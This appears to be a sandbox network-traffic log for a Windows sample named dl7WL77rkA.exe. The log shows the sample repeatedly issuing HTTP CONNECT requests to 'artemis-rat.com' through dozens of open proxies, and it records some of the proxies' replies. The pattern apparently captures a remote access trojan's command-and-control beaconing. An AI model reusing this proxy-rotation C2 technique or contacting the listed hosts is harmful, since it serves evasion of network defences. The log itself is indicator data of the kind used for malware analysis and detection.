Mar 11, 2024 03:30:42.724184990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.5	53268	211.222.252.187	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.726624966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.5	52682	173.212.209.49	39522	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.729626894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889645100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.890993118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.889538050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.5	53313	13.229.47.109	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.730498075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.055418968 CET	223	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 02:28:11 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: 0.00011444091796875 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.5	53323	43.131.245.216	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.733491898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.5	51511	51.38.63.124	10983	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.734282970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796385050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902416945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905234098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.5	53322	1.15.62.12	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.734307051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.5	53242	102.132.50.6	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.743150949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.5	51483	45.11.95.166	6004	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.743849039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.5	53330	60.205.132.71	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.745220900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.064095020 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 03:30:43.064251900 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.5	53311	103.76.148.92	8181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.751832962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.607589006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.811343908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083539009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.481995106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.108920097 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.5	51571	103.141.109.147	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.756243944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.435087919 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.5	53284	45.117.179.179	18701	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.756655931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.5	53348	83.243.92.154	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.790815115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.5	53339	103.216.49.151	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.790815115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.5	53294	103.83.36.1	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.798341036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.5	53355	45.233.2.1	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.799374104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.5	52668	103.234.24.40	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.799434900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.5	52620	199.58.185.9	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.799709082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.5	53357	47.74.226.8	5001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.800873995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.5	51660	51.75.126.150	21803	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.816921949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889527082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.5	51802	162.240.208.98	43704	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.821397066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.905116081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.014455080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.014434099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.5	53363	40.76.160.143	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.824562073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.5	53383	104.27.15.161	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.839365005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.993866920 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.5	53321	102.132.48.60	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.851943970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.5	53381	23.94.123.243	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.863640070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.306781054 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:46 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.5	53359	27.65.240.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.869158983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.5	53360	178.54.21.203	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.871706009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.701857090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.5	52391	72.49.49.11	31034	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.874386072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.5	52303	107.181.168.145	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.876450062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

